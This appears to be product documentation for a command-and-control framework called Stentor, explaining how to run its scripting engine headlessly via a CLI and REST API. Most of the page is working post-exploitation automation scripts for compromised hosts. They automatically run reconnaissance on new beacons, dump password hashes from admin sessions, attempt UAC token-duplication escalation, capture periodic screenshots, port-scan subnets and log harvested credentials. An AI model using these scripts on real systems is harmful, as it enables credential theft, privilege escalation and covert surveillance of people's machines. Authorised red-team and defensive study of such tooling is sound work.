Skip to content

Headless Mode

Headless mode allows running Stentor's CNA scripting engine without the graphical interface. This is essential for automated engagements, CI/CD pipelines, scheduled operations, and batch processing of beacon tasks.

Stentor supports two approaches to headless operation: the agscript CLI for direct console access, and the REST API for remote script management.


agscript CLI

The agscript command connects to the Stentor team server and opens a script console or immediately executes a CNA script.

Basic Usage

# Connect to team server and open interactive script console
agscript <host> <port> <user> <password>

# Connect and immediately execute a script
agscript <host> <port> <user> <password> /path/to/script.cna

Examples

# Interactive console on the local server
agscript 127.0.0.1 8082 [email protected] mypassword

# Run an automation script against the production server
agscript stentor.app 443 [email protected] mypassword /opt/scripts/auto-recon.cna

# Run multiple scripts by chaining agscript invocations
agscript stentor.app 443 [email protected] mypassword /opt/scripts/setup.cna
agscript stentor.app 443 [email protected] mypassword /opt/scripts/engage.cna

Stentor WebSocket transport

In Stentor, the team server connection is handled via WebSocket to the backend API. The agscript equivalent connects via wss://stentor.app/ws/cockpit and authenticates with JWT tokens obtained from the login endpoint.

Interactive Console Commands

Once connected, the script console provides these built-in commands:

Command Syntax Description
help help List available console commands
load load /path/to/script.cna Load and execute a CNA script
unload unload /path/to/script.cna Unload a script and remove its registrations
reload reload /path/to/script.cna Unload, re-parse, and re-execute a script
ls ls List all loaded scripts with status
x x 2+2 Evaluate an expression and print the result
e e println("hello") Execute a statement and capture output
? ? "foo" iswm "f*" Evaluate a predicate (returns true/false)
# Example interactive session
> x beacon_ids()
@("a1b2c3d4", "e5f6g7h8")

> e foreach $bid (beacon_ids()) { println(binfo($bid, "user")); }
WORKSTATION\admin
SERVER01\svc_backup

> ? -isadmin "a1b2c3d4"
true

> load /opt/scripts/auto-recon.cna
[+] Loaded: auto-recon.cna

> ls
[*] auto-recon.cna (loaded at 2026-02-19 13:00:00)

Script Management via API

Stentor exposes REST endpoints for managing CNA scripts programmatically. This allows integration with external tools, CI/CD systems, and custom dashboards.

Load a Script

Load and execute a CNA script from a file path on the server.

curl -s -X POST https://stentor.app/api/v1/scripts/load \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"path": "/opt/scripts/auto-recon.cna"}'

Response:

{
  "status": "loaded",
  "name": "auto-recon.cna",
  "path": "/opt/scripts/auto-recon.cna"
}

Unload a Script

Remove a script and all its registrations (aliases, events, hooks) from the engine.

curl -s -X POST https://stentor.app/api/v1/scripts/unload \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"name": "/opt/scripts/auto-recon.cna"}'

List Loaded Scripts

curl -s -X GET https://stentor.app/api/v1/scripts \
  -H "Authorization: Bearer $TOKEN"

Response:

[
  {
    "path": "/opt/scripts/auto-recon.cna",
    "name": "auto-recon.cna",
    "loaded_at": "2026-02-19T13:00:00Z",
    "status": "loaded"
  },
  {
    "path": "/opt/scripts/cred-alert.cna",
    "name": "cred-alert.cna",
    "loaded_at": "2026-02-19T13:01:00Z",
    "status": "loaded"
  }
]

Evaluate an Expression

Execute a Sleep expression and return the result. Useful for querying beacon state or testing scripts.

curl -s -X POST https://stentor.app/api/v1/scripts/eval \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"expression": "println(\"Active beacons: \" . size(beacon_ids()));"}'

Response:

{
  "result": "Active beacons: 3\n"
}

Automation Patterns

The following examples demonstrate common headless automation workflows. Each script is designed to be loaded once and run continuously, reacting to events as they occur.

Auto-Recon Bot

Automatically run reconnaissance commands on every new beacon. This is the most common headless pattern -- ensuring consistent initial data collection across all compromised hosts.

# auto-recon.cna -- Automatically run recon on new beacons

on beacon_initial {
    local('$bid $user $computer');
    $bid = $1;

    # Wait for beacon to settle
    bsleep($bid, 5, 0);

    # Run initial reconnaissance
    bps($bid);
    bnet($bid, "view");
    bipconfig($bid);
    bwhoami($bid);
    bpwd($bid);

    $user = binfo($bid, "user");
    $computer = binfo($bid, "computer");
    blog($bid, "Auto-recon queued for $user on $computer");
}

Beacon settle time

Use bsleep($bid, 5, 0) before queueing multiple tasks. This gives the beacon time to establish its connection and reduces the chance of task ordering issues on the first check-in cycle.

Scheduled Screenshot Bot

Capture screenshots from all active beacons at regular intervals for situational awareness during an engagement.

# screenshot-bot.cna -- Take screenshots every 5 minutes

on heartbeat_5m {
    foreach $bid (beacon_ids()) {
        if (-isactive $bid) {
            bscreenshot($bid);
        }
    }
}

# Log when the bot starts
on ready {
    elog("[screenshot-bot] Active -- capturing every 5 minutes");
}

Credential Alert Pipeline

Monitor for newly harvested credentials and log them for reporting. This script creates an audit trail of all credentials discovered during the engagement.

# cred-alert.cna -- Alert on new credentials

on credential_add {
    local('$type $user $pass $source $host');
    $type = $1;
    $user = $2;
    $pass = $3;
    $source = $4;
    $host = $5;

    # Log to event log for all operators to see
    elog("[CREDENTIAL] Type: $type | User: $user | Source: $source | Host: $host");

    # Count total credentials
    $total = size(credentials());
    elog("[CREDENTIAL] Total credentials in store: $total");
}

Auto-Hashdump on Elevated Beacon

Automatically dump hashes when a beacon checks in with administrative privileges. Combines event handling with privilege checking for conditional automation.

# auto-hashdump.cna -- Dump hashes from admin beacons

on beacon_initial {
    local('$bid');
    $bid = $1;

    if (-isadmin $bid) {
        # This beacon has admin privileges -- grab credentials
        bhashdump($bid);
        blog($bid, "[auto] Admin beacon detected -- hashdump queued");

        # Also grab screenshots from privileged sessions
        bscreenshot($bid);
    }
}

Full Engagement Automation

A comprehensive automation script that implements a multi-phase engagement workflow: reconnaissance, credential harvesting, and periodic data collection.

# engagement.cna -- Full automated engagement workflow

# Phase 1: Initial recon on every new beacon
on beacon_initial {
    local('$bid $user $computer');
    $bid = $1;
    $user = binfo($bid, "user");
    $computer = binfo($bid, "computer");

    elog("[ENGAGE] New beacon: $user @ $computer");

    # Basic recon
    bsleep($bid, 10, 20);
    bps($bid);
    bnet($bid, "view");
    bportscan($bid, "10.10.10.0/24", "1-1024", "arp");

    # Phase 2: Credential access (if admin)
    if (-isadmin $bid) {
        bhashdump($bid);
        bscreenshot($bid);
        elog("[ENGAGE] Admin beacon -- credentials queued");
    }
}

# Phase 3: Periodic data collection
on heartbeat_10m {
    foreach $bid (beacon_ids()) {
        if (-isactive $bid) {
            bps($bid);
        }
    }
}

# Phase 4: Screenshot collection from admin beacons
on heartbeat_30m {
    foreach $bid (beacon_ids()) {
        if (-isactive $bid && -isadmin $bid) {
            bscreenshot($bid);
        }
    }
}

# Alert on credential discovery
on credential_add {
    elog("[ENGAGE] Credential found: $1 $2 from $4 on $5");
}

# Log engagement status on startup
on ready {
    elog("[ENGAGE] Engagement automation loaded and active");
}

Scripted Workflows

Beyond simple event handlers, headless mode supports complex multi-beacon orchestration workflows.

Multi-Beacon Orchestration

Iterate over all beacons and coordinate tasks across multiple hosts.

# orchestrate.cna -- Coordinate across all beacons

sub task_all_beacons {
    local('$cmd');
    $cmd = $1;

    foreach $bid (beacon_ids()) {
        if (-isactive $bid) {
            binput($bid, $cmd);
        }
    }
}

# Example: run net view on all beacons every hour
on heartbeat_60m {
    task_all_beacons("net view");
}

Conditional Escalation Chain

Implement a decision tree that reacts to beacon state changes.

# escalate.cna -- Conditional privilege escalation

on beacon_initial {
    local('$bid');
    $bid = $1;

    if (!-isadmin $bid) {
        # Not admin -- attempt escalation
        blog($bid, "[escalate] Medium integrity -- attempting elevation");
        belevate($bid, "uac-token-duplication");
    } else {
        # Already admin -- proceed with post-ex
        blog($bid, "[escalate] Already elevated -- proceeding to post-ex");
        bhashdump($bid);
    }
}

Timed Operations with Heartbeat Events

Schedule operations at specific intervals for stealth and operational tempo control.

# timed-ops.cna -- Scheduled operations

# Quick health check every minute
on heartbeat_1m {
    local('$active $total');
    $total = size(beacon_ids());
    $active = 0;
    foreach $bid (beacon_ids()) {
        if (-isactive $bid) {
            $active++;
        }
    }
    if ($active != $total) {
        elog("[HEALTH] $active / $total beacons active");
    }
}

# Network scan every 30 minutes (low and slow)
on heartbeat_30m {
    foreach $bid (beacon_ids()) {
        if (-isactive $bid && -isadmin $bid) {
            bnet($bid, "view");
        }
    }
}

Debugging Headless Scripts

Script Console Debug Commands

The script console provides built-in debugging commands for troubleshooting CNA scripts.

Command Description
tron Enable trace mode -- prints every function call and argument
troff Disable trace mode
pron Enable profile mode -- prints execution timing for each function
proff Disable profile mode
# Enable tracing to see what your script is doing
> tron
[TRACE] on beacon_initial called with: a1b2c3d4
[TRACE] bsleep(a1b2c3d4, 5, 0) => $null
[TRACE] bps(a1b2c3d4) => $null
...
> troff

Event Logging

Use elog() to write to the team server's event log. This is the primary debugging and audit tool for headless scripts.

# Debug helper: log with script name prefix
sub debug {
    elog("[my-script] $1");
}

on beacon_initial {
    debug("beacon_initial fired for $1");
    # ... script logic ...
    debug("beacon_initial handler complete");
}

Error Handling Patterns

CNA scripts should handle errors gracefully, especially in headless mode where there's no UI to display warnings.

# Defensive scripting pattern
on beacon_initial {
    local('$bid');
    $bid = $1;

    # Check beacon is valid before tasking
    if ($bid eq "" || $bid eq $null) {
        elog("[ERROR] beacon_initial fired with empty ID");
        return;
    }

    # Check beacon is still active before heavy tasking
    if (!-isactive $bid) {
        elog("[WARN] Beacon $bid not active, skipping recon");
        return;
    }

    # Safe to proceed
    bps($bid);
}

Sandbox Limits

Be aware of the scripting engine's safety limits:

Limit Value Description
Handler timeout 30 seconds Event handlers are terminated after 30 seconds
Evaluation timeout 30 seconds Script execution timeout (configurable)
Concurrent handlers Unlimited Each handler runs in its own goroutine
Re-entrancy Blocked per hook Hook invoker prevents recursive calls to the same hook

Timeout behavior

If an event handler exceeds 30 seconds, it is terminated. Long-running operations should be broken into smaller steps, using bsleep to pace beacon interactions or heartbeat events to schedule follow-up work.


Auto-Loading Scripts

Stentor supports automatic script loading from a designated directory. Place .cna files in the scripts directory, and the server will load them on startup and watch for changes.

Directory Watching

The script engine polls the scripts directory every 2 seconds for:

  • New files: Automatically loaded and executed
  • Modified files: Automatically reloaded (unload + re-parse + re-execute)
  • Deleted files: Automatically unloaded (all registrations removed)
# Place scripts in the watched directory
cp auto-recon.cna /opt/stentor/scripts/
# Script is automatically loaded within 2 seconds

# Edit a running script
vim /opt/stentor/scripts/auto-recon.cna
# Script is automatically reloaded after saving

# Remove a script
rm /opt/stentor/scripts/auto-recon.cna
# Script and all its registrations are removed

Reload behavior

When a script is reloaded, the engine performs a clean 3-step sequence: (1) unload all registrations from the old version, (2) re-parse the file, (3) re-execute to trigger new registrations. This ensures no stale handlers remain.


Best Practices

Headless mode best practices

Keep event handlers fast. Event handlers should complete quickly (under 1 second) to avoid blocking the EventBus. For heavy operations, queue beacon tasks and let them execute asynchronously.

Use bsleep before heavy tasking. When a new beacon checks in, give it time to settle before queueing multiple commands:

bsleep($bid, 5, 0);  # 5-second sleep, no jitter

Check beacon state before tasking. Always verify a beacon is active and has the right privileges:

if (-isactive $bid && -isadmin $bid) {
    bhashdump($bid);
}

Use elog() for audit trail. Every significant action should be logged for post-engagement reporting:

elog("[script-name] action description");

Test scripts in the console first. Use the interactive script console to test expressions and handlers before deploying headless:

> load /opt/scripts/my-script.cna
> x beacon_ids()
> e bps("test-bid")

Use heartbeat events for scheduled work. Instead of implementing your own timers, use the 12 built-in heartbeat intervals:

on heartbeat_5m { /* runs every 5 minutes */ }

One script per concern. Keep scripts focused -- one for recon, one for credential alerts, one for screenshots. This makes it easy to load/unload specific capabilities.

Handle the ready event. Initialize script state and log startup messages in the ready handler to confirm your headless scripts are active:

on ready {
    elog("[my-script] Loaded and active");
}


See Also

  • Hooks & Events -- Complete reference for all hooks and events used in automation scripts
  • Function Reference -- All b* functions available for beacon interaction